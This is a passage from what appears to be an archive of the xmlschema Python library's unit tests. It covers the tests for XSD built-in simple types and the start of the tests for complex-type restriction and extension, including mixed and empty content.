self.types['boolean'] self.assertTrue(boolean_type.encode(True) == 'true') self.assertTrue(boolean_type.encode(False) == 'false') self.assertTrue(boolean_type.encode('true') == 'true') self.assertTrue(boolean_type.encode('false') == 'false') self.assertRaises(XMLSchemaEncodeError, boolean_type.encode, 1) self.assertRaises(XMLSchemaEncodeError, boolean_type.encode, 0) self.assertRaises(XMLSchemaEncodeError, boolean_type.encode, 10) self.assertRaises(XMLSchemaEncodeError, boolean_type.encode, 'alpha') self.assertRaises(XMLSchemaEncodeError, boolean_type.encode, '1 1') def test_decimal_decode(self): decimal_type = self.types['decimal'] self.assertEqual(decimal_type.decode(' 1000.0001 \n'), Decimal('1000.0001')) self.assertEqual(decimal_type.encode(' 1000.0001 \n'), '1000.0001') self.assertEqual(decimal_type.encode(1000.01), '1000.01') schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="value" type="valueType"/> <xs:simpleType name="valueType"> <xs:restriction base="xs:decimal"> <xs:minInclusive value="1000" /> </xs:restriction> </xs:simpleType> </xs:schema>""")) decimal_type = schema.types['valueType'] self.assertEqual(decimal_type.decode(' 1000.0001 \n'), Decimal('1000.0001')) self.assertEqual(decimal_type.encode(' 1000.0001 \n'), '1000.0001') self.assertEqual(decimal_type.encode(1000.01), '1000.01') def test_integer_decode(self): integer_type = self.types['integer'] self.assertTrue(integer_type.decode(' 1000 \n') == 1000) self.assertTrue(integer_type.decode(' -19 \n') == -19) self.assertTrue(integer_type.decode(' 0\n') == 0) self.assertRaises(XMLSchemaDecodeError, integer_type.decode, ' 1000.0 \n') self.assertRaises(XMLSchemaDecodeError, integer_type.decode, ' alpha \n') self.assertRaises(XMLSchemaDecodeError, integer_type.decode, ' 1 0 \n') self.assertRaises(XMLSchemaValidationError, self.types['byte'].decode, ' 257 \n') self.assertRaises(XMLSchemaValidationError, self.types['unsignedInt'].decode, ' -1') def test_integer_encode(self): integer_type = self.types['integer'] self.assertTrue(integer_type.encode(1000) == '1000') self.assertTrue(integer_type.encode(-19) == '-19') self.assertTrue(integer_type.encode(0) == '0') self.assertTrue(integer_type.encode('1000') == '1000') self.assertTrue(integer_type.encode('-19') == '-19') self.assertTrue(integer_type.encode('0') == '0') self.assertRaises(XMLSchemaEncodeError, integer_type.encode, 10.1) self.assertRaises(XMLSchemaEncodeError, integer_type.encode, 'alpha') self.assertRaises(XMLSchemaEncodeError, integer_type.encode, '1 0') self.assertRaises(XMLSchemaValidationError, self.types['unsignedInt'].decode, ' -1') def test_float_decode(self): self.assertTrue(self.types['float'].decode(' 1000.1 \n') == 1000.10) self.assertTrue(self.types['float'].decode(' -19 \n') == -19.0) self.assertTrue(self.types['double'].decode(' 0.0001\n') == 0.0001) self.assertRaises(XMLSchemaValidationError, self.types['float'].decode, ' true ') self.assertRaises(XMLSchemaValidationError, self.types['double'].decode, ' alpha \n') def test_float_encode(self): float_type = self.types['float'] self.assertTrue(float_type.encode(1000.0) == '1000.0') self.assertTrue(float_type.encode(-19.0) == '-19.0') self.assertTrue(float_type.encode(0.0) == '0.0') self.assertRaises(XMLSchemaEncodeError, float_type.encode, True) self.assertRaises(XMLSchemaEncodeError, float_type.encode, '0.1 9') self.assertRaises(XMLSchemaEncodeError, float_type.encode, 'alpha') self.assertTrue(float_type.encode('1000.0') == '1000.0') self.assertTrue(float_type.encode('-19.0') == '-19.0') self.assertTrue(float_type.encode('0.0') == '0.0') def test_time_type(self): time_type = self.types['time'] self.assertTrue(time_type.is_valid('14:35:00')) self.assertTrue(time_type.is_valid('14:35:20.5345')) self.assertTrue(time_type.is_valid('14:35:00-01:00')) self.assertTrue(time_type.is_valid('14:35:00Z')) self.assertTrue(time_type.is_valid('00:00:00')) self.assertTrue(time_type.is_valid('24:00:00')) self.assertFalse(time_type.is_valid('4:20:00')) self.assertFalse(time_type.is_valid('14:35:0')) self.assertFalse(time_type.is_valid('14:35')) self.assertFalse(time_type.is_valid('14:35.5:00')) def test_datetime_type(self): datetime_type = self.types['dateTime'] self.assertTrue(datetime_type.is_valid('2007-05-10T14:35:00')) self.assertTrue(datetime_type.is_valid('2007-05-10T14:35:20.6')) self.assertTrue(datetime_type.is_valid('2007-05-10T14:35:00-03:00')) self.assertTrue(datetime_type.is_valid('2007-05-10T14:35:00Z')) self.assertFalse(datetime_type.is_valid('2007-05-10T14:35')) self.assertFalse(datetime_type.is_valid('2007-05-10t14:35:00')) self.assertFalse(datetime_type.is_valid('2007-05-1014:35:00')) self.assertFalse(datetime_type.is_valid('07-05-10T14:35:00')) self.assertFalse(datetime_type.is_valid('2007-05-10')) # Issue #85 self.assertTrue(datetime_type.is_valid('2018-10-10T13:57:53.0702116-04:00')) def test_date_type(self): date_type = self.types['date'] self.assertTrue(date_type.is_valid('2012-05-31')) self.assertTrue(date_type.is_valid('-0065-10-15')) self.assertTrue(date_type.is_valid('12012-05-31')) self.assertTrue(date_type.is_valid('2012-05-31-05:00')) self.assertTrue(date_type.is_valid('2015-06-30Z')) self.assertFalse(date_type.is_valid('12-05-31')) self.assertFalse(date_type.is_valid('2012-5-31')) self.assertFalse(date_type.is_valid('31-05-2012')) self.assertFalse(date_type.is_valid('1999-06-31')) self.assertFalse(date_type.is_valid('+2012-05-31')) self.assertFalse(date_type.is_valid('')) self.assertRaises(XMLSchemaDecodeError, date_type.decode, '2012-05-3') self.assertEqual(date_type.encode('2012-05-31'), '2012-05-31') self.assertRaises(XMLSchemaEncodeError, date_type.encode, '2012-05-3') self.assertRaises(XMLSchemaEncodeError, date_type.encode, 7) assert issubclass(date_type.datatype, AbstractDateTime) value = date_type.datatype(2014, 5, 31) self.assertEqual(date_type.encode(value), '2014-05-31') def test_year_zero(self): self.assertFalse(self.types['date'].is_valid('0000-01-01')) def test_g_year_type(self): g_year_type = self.types['gYear'] self.assertTrue(g_year_type.is_valid('2007')) self.assertTrue(g_year_type.is_valid('2013-01:00')) self.assertTrue(g_year_type.is_valid('102013-01:00')) self.assertTrue(g_year_type.is_valid('0821')) self.assertTrue(g_year_type.is_valid('0014')) self.assertTrue(g_year_type.is_valid('-0044')) self.assertTrue(g_year_type.is_valid('13999')) self.assertFalse(g_year_type.is_valid('045')) self.assertFalse(g_year_type.is_valid('800')) self.assertFalse(g_year_type.is_valid('')) def test_g_year_month_type(self): g_year_month_type = self.types['gYearMonth'] self.assertTrue(g_year_month_type.is_valid('2010-07')) self.assertTrue(g_year_month_type.is_valid('2020-01-05:00')) self.assertFalse(g_year_month_type.is_valid('99-02')) self.assertFalse(g_year_month_type.is_valid('1999')) self.assertFalse(g_year_month_type.is_valid('1995-3')) self.assertFalse(g_year_month_type.is_valid('1860-14')) self.assertFalse(g_year_month_type.is_valid('')) def test_g_month_type(self): g_month_type = self.types['gMonth'] self.assertTrue(g_month_type.is_valid('--08')) self.assertTrue(g_month_type.is_valid('--05-03:00')) self.assertFalse(g_month_type.is_valid('03')) self.assertFalse(g_month_type.is_valid('3')) self.assertFalse(g_month_type.is_valid('--13')) self.assertFalse(g_month_type.is_valid('--3')) self.assertFalse(g_month_type.is_valid('')) def test_g_month_day_type(self): g_month_day_type = self.types['gMonthDay'] self.assertTrue(g_month_day_type.is_valid('--12-24')) self.assertTrue(g_month_day_type.is_valid('--04-25Z')) self.assertFalse(g_month_day_type.is_valid('12-24')) self.assertFalse(g_month_day_type.is_valid('--11-31')) self.assertFalse(g_month_day_type.is_valid('--2-11')) self.assertFalse(g_month_day_type.is_valid('--02-1')) self.assertFalse(g_month_day_type.is_valid('')) def test_g_day_type(self): g_day_type = self.types['gDay'] self.assertTrue(g_day_type.is_valid('---19')) self.assertTrue(g_day_type.is_valid('---07')) self.assertFalse(g_day_type.is_valid('---32')) self.assertFalse(g_day_type.is_valid('07')) self.assertFalse(g_day_type.is_valid('--07')) self.assertFalse(g_day_type.is_valid('---7')) self.assertFalse(g_day_type.is_valid('')) value = datatypes.GregorianDay.fromstring('---19') self.assertEqual(g_day_type.encode(value), '---19') self.assertEqual(g_day_type.encode('---27'), '---27') self.assertRaises(XMLSchemaEncodeError, g_day_type.encode, '--27') def test_duration_type(self): duration_type = self.types['duration'] self.assertTrue(duration_type.is_valid('-P809YT3H5M5S')) self.assertTrue(duration_type.is_valid('P5Y7M20DT3H5M5S')) self.assertTrue(duration_type.is_valid('P1DT6H')) self.assertTrue(duration_type.is_valid('P15M')) self.assertTrue(duration_type.is_valid('PT30M')) self.assertTrue(duration_type.is_valid('P0Y15M0D')) self.assertTrue(duration_type.is_valid('P0Y')) self.assertTrue(duration_type.is_valid('-P10D')) self.assertTrue(duration_type.is_valid('PT5M30.5S')) self.assertTrue(duration_type.is_valid('PT10.5S')) self.assertFalse(duration_type.is_valid('P-50M')) self.assertFalse(duration_type.is_valid('P50MT')) self.assertFalse(duration_type.is_valid('P1YM7D')) self.assertFalse(duration_type.is_valid('P10.8Y')) self.assertFalse(duration_type.is_valid('P3D5H')) self.assertFalse(duration_type.is_valid('1Y')) self.assertFalse(duration_type.is_valid('P3D4M')) self.assertFalse(duration_type.is_valid('P')) self.assertFalse(duration_type.is_valid('PT10.S')) self.assertFalse(duration_type.is_valid('')) value = datatypes.Duration.fromstring('PT5M30.5S') self.assertEqual(duration_type.encode(value), 'PT5M30.5S') self.assertEqual(duration_type.encode('P0Y15M0D'), 'P0Y15M0D') class TestXsd11BuiltinTypes(TestXsd10BuiltinTypes): @classmethod def setUpClass(cls): cls.schema_class = XMLSchema11 cls.types = XMLSchema11.builtin_types() @classmethod def tearDownClass(cls): XMLSchema11.meta_schema.clear() def test_year_zero(self): self.assertTrue(self.types['date'].is_valid('0000-01-01')) def test_date_time_stamp(self): date_time_stamp_type = self.types['dateTimeStamp'] self.assertTrue(date_time_stamp_type.is_valid('2003-10-20T16:50:08-03:00')) self.assertTrue(date_time_stamp_type.is_valid('2003-10-20T16:50:08Z')) self.assertFalse(date_time_stamp_type.is_valid('2003-10-20T16:50:08')) self.assertFalse(date_time_stamp_type.is_valid('1980-02-28T17:09:20.1')) self.assertFalse(date_time_stamp_type.is_valid('')) def test_day_time_duration_type(self): day_time_duration_type = self.types['dayTimeDuration'] self.assertTrue(day_time_duration_type.is_valid('P7DT15H40M0S')) self.assertTrue(day_time_duration_type.is_valid('-P10D')) self.assertTrue(day_time_duration_type.is_valid('P0D')) self.assertTrue(day_time_duration_type.is_valid('PT13M')) self.assertTrue(day_time_duration_type.is_valid('P0DT17M')) self.assertTrue(day_time_duration_type.is_valid('PT3H20M10.5S')) self.assertFalse(day_time_duration_type.is_valid('PT5D')) self.assertFalse(day_time_duration_type.is_valid('PT3HM10S')) self.assertFalse(day_time_duration_type.is_valid('P7DT')) self.assertFalse(day_time_duration_type.is_valid('PT3H1.4M')) self.assertFalse(day_time_duration_type.is_valid('P-5D')) self.assertFalse(day_time_duration_type.is_valid('P1D5H')) self.assertFalse(day_time_duration_type.is_valid('PT10M21.S')) self.assertFalse(day_time_duration_type.is_valid('P')) self.assertFalse(day_time_duration_type.is_valid('')) def test_year_month_duration_type(self): year_month_duration_type = self.types['yearMonthDuration'] self.assertTrue(year_month_duration_type.is_valid('P3Y4M')) self.assertTrue(year_month_duration_type.is_valid('P15M')) self.assertTrue(year_month_duration_type.is_valid('P0Y')) self.assertTrue(year_month_duration_type.is_valid('P0Y23M')) self.assertTrue(year_month_duration_type.is_valid('-P8Y')) self.assertFalse(year_month_duration_type.is_valid('3Y4M')) self.assertFalse(year_month_duration_type.is_valid('P6M1Y')) self.assertFalse(year_month_duration_type.is_valid('P')) self.assertFalse(year_month_duration_type.is_valid('P1Y6M15D')) self.assertFalse(year_month_duration_type.is_valid('P1.2Y')) self.assertFalse(year_month_duration_type.is_valid('P2YM')) self.assertFalse(year_month_duration_type.is_valid('P-1Y')) self.assertFalse(year_month_duration_type.is_valid('')) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD builtin types') ��������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_complex_types.py����������������������������������������������0000664�0000000�0000000�00000114161�15020401055�0023307�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import warnings from pathlib import Path from textwrap import dedent from xml.etree.ElementTree import Element from xmlschema import XMLSchemaParseError, XMLSchemaModelError from xmlschema.validators import XMLSchema11 from xmlschema.testing import XsdValidatorTestCase class TestXsdComplexType(XsdValidatorTestCase): cases_dir = Path(__file__).parent.joinpath('../test_cases') def check_complex_restriction(self, base, restriction, expected=None, **kwargs): content = 'complex' if self.content_pattern.search(base) else 'simple' source = """ <xs:complexType name="targetType"> {0} </xs:complexType> <xs:complexType name="restrictedType"> <xs:{1}Content> <xs:restriction base="targetType"> {2} </xs:restriction> </xs:{1}Content> </xs:complexType> """.format(base.strip(), content, restriction.strip()) self.check_schema(source, expected, **kwargs) def test_element_restrictions(self): base = """ <xs:sequence> <xs:element name="A" maxOccurs="7"/> <xs:element name="B" type="xs:string"/> <xs:element name="C" fixed="5"/> </xs:sequence> """ self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="A" maxOccurs="6"/> <xs:element name="B" type="xs:NCName"/> <xs:element name="C" fixed="5"/> </xs:sequence> """ ) self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="A" maxOccurs="8"/> <!-- <<< More occurrences --> <xs:element name="B" type="xs:NCName"/> <xs:element name="C" fixed="5"/> </xs:sequence> """, expected=XMLSchemaParseError ) self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="A" maxOccurs="6"/> <xs:element name="B" type="float"/> <!-- <<< Not a derived type --> <xs:element name="C" fixed="5"/> </xs:sequence> """, expected=XMLSchemaParseError ) self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="A" maxOccurs="6"/> <xs:element name="B" type="xs:NCName"/> <xs:element name="C" fixed="3"/> <!-- <<< Different fixed value --> </xs:sequence> """, expected=XMLSchemaParseError ) self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="A" maxOccurs="6" nillable="true"/> <!-- <<< nillable is True --> <xs:element name="B" type="xs:NCName"/> <xs:element name="C" fixed="5"/> </xs:sequence> """, expected=XMLSchemaParseError ) def test_sequence_group_restriction(self): # Meaningless sequence group base = """ <xs:sequence> <xs:sequence> <xs:element name="A"/> <xs:element name="B"/> </xs:sequence> </xs:sequence> """ self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="A"/> <xs:element name="B"/> </xs:sequence> """ ) self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="A"/> <xs:element name="C"/> </xs:sequence> """, expected=XMLSchemaParseError ) base = """ <xs:sequence> <xs:element name="A"/> <xs:element name="B" minOccurs="0"/> </xs:sequence> """ self.check_complex_restriction(base, '<xs:sequence><xs:element name="A"/></xs:sequence>') self.check_complex_restriction( base, '<xs:sequence><xs:element name="B"/></xs:sequence>', XMLSchemaParseError ) self.check_complex_restriction( base, '<xs:sequence><xs:element name="C"/></xs:sequence>', XMLSchemaParseError ) self.check_complex_restriction( base, '<xs:sequence><xs:element name="A"/><xs:element name="B"/></xs:sequence>' ) self.check_complex_restriction( base, '<xs:sequence><xs:element name="A"/><xs:element name="C"/></xs:sequence>', XMLSchemaParseError ) self.check_complex_restriction( base, '<xs:sequence><xs:element name="A" minOccurs="0"/><xs:element name="B"/></xs:sequence>', XMLSchemaParseError ) self.check_complex_restriction( base, '<xs:sequence><xs:element name="B" minOccurs="0"/><xs:element name="A"/></xs:sequence>', XMLSchemaParseError ) def test_all_group_restriction(self): base = """ <xs:all> <xs:element name="A"/> <xs:element name="B" minOccurs="0"/> <xs:element name="C" minOccurs="0"/> </xs:all> """ self.check_complex_restriction( base, restriction=""" <xs:all> <xs:element name="A"/> <xs:element name="C"/> </xs:all> """) self.check_complex_restriction( base, restriction=""" <xs:all> <xs:element name="C" minOccurs="0"/> <xs:element name="A"/> </xs:all> """, expected=XMLSchemaParseError if self.schema_class.XSD_VERSION == '1.0' else None ) self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="A"/> <xs:element name="C"/> </xs:sequence> """) self.check_complex_restriction( base, '<xs:sequence><xs:element name="C" minOccurs="0"/><xs:element name="A"/></xs:sequence>' ) self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="C" minOccurs="0"/> <xs:element name="A" minOccurs="0"/> </xs:sequence> """, expected=XMLSchemaParseError ) self.check_complex_restriction( base, restriction=""" <xs:sequence> <xs:element name="A"/> <xs:element name="X"/> </xs:sequence> """, expected=XMLSchemaParseError ) base = """ <xs:all> <xs:element name="A" minOccurs="0" maxOccurs="0"/> </xs:all> """ self.check_complex_restriction(base, '<xs:all><xs:element name="A"/></xs:all>', XMLSchemaParseError) def test_choice_group_restriction(self): base = """ <xs:choice maxOccurs="2"> <xs:element name="A"/> <xs:element name="B"/> <xs:element name="C"/> </xs:choice> """ self.check_complex_restriction( base, '<xs:choice><xs:element name="A"/><xs:element name="C"/></xs:choice>') self.check_complex_restriction( base, '<xs:choice maxOccurs="2"><xs:element name="C"/><xs:element name="A"/></xs:choice>', XMLSchemaParseError if self.schema_class.XSD_VERSION == '1.0' else None ) self.check_complex_restriction( base, '<xs:choice maxOccurs="2"><xs:element name="A"/><xs:element name="C"/></xs:choice>', ) def test_occurs_restriction(self): base = """ <xs:sequence minOccurs="3" maxOccurs="10"> <xs:element name="A"/> </xs:sequence> """ self.check_complex_restriction( base, '<xs:sequence minOccurs="3" maxOccurs="7"><xs:element name="A"/></xs:sequence>') self.check_complex_restriction( base, '<xs:sequence minOccurs="4" maxOccurs="10"><xs:element name="A"/></xs:sequence>') self.check_complex_restriction( base, '<xs:sequence minOccurs="3" maxOccurs="11"><xs:element name="A"/></xs:sequence>', XMLSchemaParseError ) self.check_complex_restriction( base, '<xs:sequence minOccurs="2" maxOccurs="10"><xs:element name="A"/></xs:sequence>', XMLSchemaParseError ) def test_recursive_complex_type(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elemA" type="typeA"/> <xs:complexType name="typeA"> <xs:sequence> <xs:element ref="elemA" minOccurs="0" maxOccurs="5"/> </xs:sequence> </xs:complexType> </xs:schema>""") self.assertEqual(schema.elements['elemA'].type, schema.types['typeA']) def test_upa_violations(self): self.check_schema(""" <xs:complexType name="typeA"> <xs:sequence> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="A"/> <xs:element name="B"/> </xs:sequence> <xs:element name="A" minOccurs="0"/> </xs:sequence> </xs:complexType>""", XMLSchemaModelError) self.check_schema(""" <xs:complexType name="typeA"> <xs:sequence> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:element name="B"/> <xs:element name="A"/> </xs:sequence> <xs:element name="A" minOccurs="0"/> </xs:sequence> </xs:complexType>""") def test_upa_violation_with_wildcard(self): self.check_schema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="tns" xmlns:ns="tns" elementFormDefault="unqualified"> <xs:complexType name="baseType"> <xs:sequence> <xs:any processContents="lax" minOccurs="0" maxOccurs="unbounded"></xs:any> </xs:sequence> </xs:complexType> <xs:complexType name="addressType"> <xs:complexContent> <xs:extension base="ns:baseType"> <xs:sequence> <xs:element name="state" type="xs:string" /> <xs:element name="currency" type="xs:string" /> <xs:element name="zip" type="xs:int" /> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema> """, XMLSchemaModelError if self.schema_class.XSD_VERSION == '1.0' else None) def test_content_type(self): # Ref: https://www.w3.org/TR/xmlschema11-1/#Complex_Type_Definition_details schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="emptyContentType1"> <xs:attribute name="a1"/> </xs:complexType> <xs:simpleType name="emptyContentType2"> <xs:restriction base="xs:string"> <xs:length value="0"/> </xs:restriction> </xs:simpleType> <xs:complexType name="emptyContentType3"> <xs:simpleContent> <xs:extension base="emptyContentType2"> <xs:attribute name="a1"/> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:simpleType name="simpleContentType1"> <xs:restriction base="xs:string"> <xs:length value="1"/> </xs:restriction> </xs:simpleType> <xs:complexType name="simpleContentType2"> <xs:simpleContent> <xs:extension base="xs:string"> <xs:attribute name="a1"/> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:complexType name="elementOnlyContentType"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:complexType> <xs:complexType name="mixedContentType" mixed="true"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:complexType> </xs:schema> """) xsd_type = schema.types['emptyContentType1'] self.assertTrue(xsd_type.is_empty()) self.assertFalse(xsd_type.has_simple_content()) self.assertFalse(xsd_type.is_element_only()) self.assertFalse(xsd_type.has_mixed_content()) self.assertEqual(xsd_type.content_type_label, 'empty') xsd_type = schema.types['emptyContentType2'] self.assertTrue(xsd_type.is_empty()) self.assertFalse(xsd_type.has_simple_content()) self.assertFalse(xsd_type.is_element_only()) self.assertFalse(xsd_type.has_mixed_content()) self.assertEqual(xsd_type.content_type_label, 'empty') xsd_type = schema.types['emptyContentType3'] self.assertTrue(xsd_type.is_empty()) self.assertFalse(xsd_type.has_simple_content()) self.assertFalse(xsd_type.is_element_only()) self.assertFalse(xsd_type.has_mixed_content()) self.assertEqual(xsd_type.content_type_label, 'empty') xsd_type = schema.types['simpleContentType1'] self.assertFalse(xsd_type.is_empty()) self.assertTrue(xsd_type.has_simple_content()) self.assertFalse(xsd_type.is_element_only()) self.assertFalse(xsd_type.has_mixed_content()) self.assertEqual(xsd_type.content_type_label, 'simple') xsd_type = schema.types['simpleContentType2'] self.assertFalse(xsd_type.is_empty()) self.assertTrue(xsd_type.has_simple_content()) self.assertFalse(xsd_type.is_element_only()) self.assertFalse(xsd_type.has_mixed_content()) self.assertEqual(xsd_type.content_type_label, 'simple') xsd_type = schema.types['elementOnlyContentType'] self.assertFalse(xsd_type.is_empty()) self.assertFalse(xsd_type.has_simple_content()) self.assertTrue(xsd_type.is_element_only()) self.assertFalse(xsd_type.has_mixed_content()) self.assertEqual(xsd_type.content_type_label, 'element-only') xsd_type = schema.types['mixedContentType'] self.assertFalse(xsd_type.is_empty()) self.assertFalse(xsd_type.has_simple_content()) self.assertFalse(xsd_type.is_element_only()) self.assertTrue(xsd_type.has_mixed_content()) self.assertEqual(xsd_type.content_type_label, 'mixed') def test_is_empty(self): schema = self.check_schema(""" <xs:complexType name="emptyType1"/> <xs:complexType name="emptyType2"> <xs:sequence/> </xs:complexType> <xs:complexType name="emptyType3"> <xs:complexContent> <xs:restriction base="xs:anyType"/> </xs:complexContent> </xs:complexType> <xs:complexType name="notEmptyType1"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:complexType> <xs:complexType name="notEmptyType2"> <xs:complexContent> <xs:extension base="xs:anyType"/> </xs:complexContent> </xs:complexType> """) self.assertTrue(schema.types['emptyType1'].is_empty()) self.assertTrue(schema.types['emptyType2'].is_empty()) self.assertTrue(schema.types['emptyType3'].is_empty()) self.assertFalse(schema.types['notEmptyType1'].is_empty()) self.assertFalse(schema.types['notEmptyType2'].is_empty()) def test_restriction_with_empty_particle__issue_323(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="ED" mixed="true"> <xs:complexContent> <xs:restriction base="xs:anyType"> <xs:sequence> <xs:element name="reference" type="xs:string" minOccurs="0" maxOccurs="1"/> <xs:element name="thumbnail" type="thumbnail" minOccurs="0" maxOccurs="1"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="thumbnail" mixed="true"> <xs:complexContent> <xs:restriction base="ED"> <xs:sequence> <xs:element name="reference" type="xs:string" minOccurs="0" maxOccurs="0"/> <xs:element name="thumbnail" type="thumbnail" minOccurs="0" maxOccurs="0"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> <xs:complexType name="ST" mixed="true"> <xs:complexContent> <xs:restriction base="ED"> <xs:sequence> <xs:element name="reference" type="xs:string" minOccurs="0" maxOccurs="0"/> <xs:element name="thumbnail" type="ED" minOccurs="0" maxOccurs="0"/> </xs:sequence> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:schema>"""), build=False) self.assertIsNone(schema.build()) self.assertTrue(schema.built) def test_mixed_content_extension__issue_334(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="mixedContentType" mixed="true"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:complexType> <xs:element name="foo"> <xs:complexType> <xs:complexContent> <xs:extension base="mixedContentType"> <xs:attribute name="bar" type="xs:string" use="required" /> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> </xs:schema> """)) self.assertTrue(schema.types['mixedContentType'].mixed) self.assertTrue(schema.elements['foo'].type.mixed) self.assertTrue(schema.elements['foo'].type.content.mixed) def test_mixed_content_extension__issue_337(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <!-- Valid schema: the derived type adds empty content --> <xs:complexType name="baseType" mixed="true"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="baseType"> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>""")) self.assertTrue(schema.types['baseType'].mixed) self.assertEqual(schema.types['baseType'].content_type_label, 'mixed') self.assertTrue(schema.types['derivedType'].mixed) self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <!-- Invalid schema: the derived type adds element-only content --> <xs:complexType name="baseType" mixed="true"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="baseType"> <xs:sequence> <xs:element name="elem2"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>""")) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <!-- Valid schema: the derived type adds mixed content --> <xs:complexType name="baseType" mixed="true"> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent mixed="true"> <xs:extension base="baseType"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>""")) self.assertTrue(schema.types['baseType'].mixed) self.assertEqual(schema.types['baseType'].content_type_label, 'mixed') self.assertTrue(schema.types['derivedType'].mixed) self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <!-- Invalid schema: the derived type adds element-only content --> <xs:complexType name="baseType" mixed="true"> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="baseType"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>""")) def test_mixed_content_extension__issue_414(self): # Not a bug, the user refers to an old version (v1.10), but # there is a detailed analysis on that: # https://stackoverflow.com/a/78942158/1838607 xsd_file = self.casepath('issues/issue_414/issue_414.xsd') xml_file = self.casepath('issues/issue_414/issue_414.xml') schema = self.schema_class(xsd_file) self.assertTrue(schema.types['mixedElement'].mixed) self.assertTrue(schema.elements['root'].type.mixed) self.assertTrue(schema.is_valid(xml_file)) xsd_file = self.casepath('issues/issue_414/issue_414b.xsd') schema = self.schema_class(xsd_file) self.assertTrue(schema.types['mixedElement'].mixed) self.assertTrue(schema.elements['root'].type.mixed) self.assertTrue(schema.is_valid(xml_file)) xsd_file = self.casepath('issues/issue_414/issue_414ne.xsd') schema = self.schema_class(xsd_file) self.assertTrue(schema.types['mixedElement'].mixed) self.assertTrue(schema.elements['root'].type.mixed) xsd_file = self.casepath('issues/issue_414/issue_414ne-inv1.xsd') with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(xsd_file) reason = ("base has a different content type (mixed=True) " "and the extension group is not empty") self.assertIn(reason, str(ctx.exception)) xsd_file = self.casepath('issues/issue_414/issue_414ne-inv2.xsd') with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(xsd_file) self.assertIn(reason, str(ctx.exception)) def test_empty_content_extension(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="baseType" mixed="false"> </xs:complexType> <xs:complexType name="derivedType" mixed="true"> <xs:complexContent> <xs:extension base="baseType"/> </xs:complexContent> </xs:complexType> </xs:schema>""")) self.assertFalse(schema.types['baseType'].mixed) self.assertEqual(schema.types['baseType'].content_type_label, 'empty') self.assertTrue(schema.types['derivedType'].mixed) self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="baseType" mixed="false"> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="baseType"/> </xs:complexContent> </xs:complexType> </xs:schema>""")) self.assertFalse(schema.types['baseType'].mixed) self.assertEqual(schema.types['baseType'].content_type_label, 'empty') 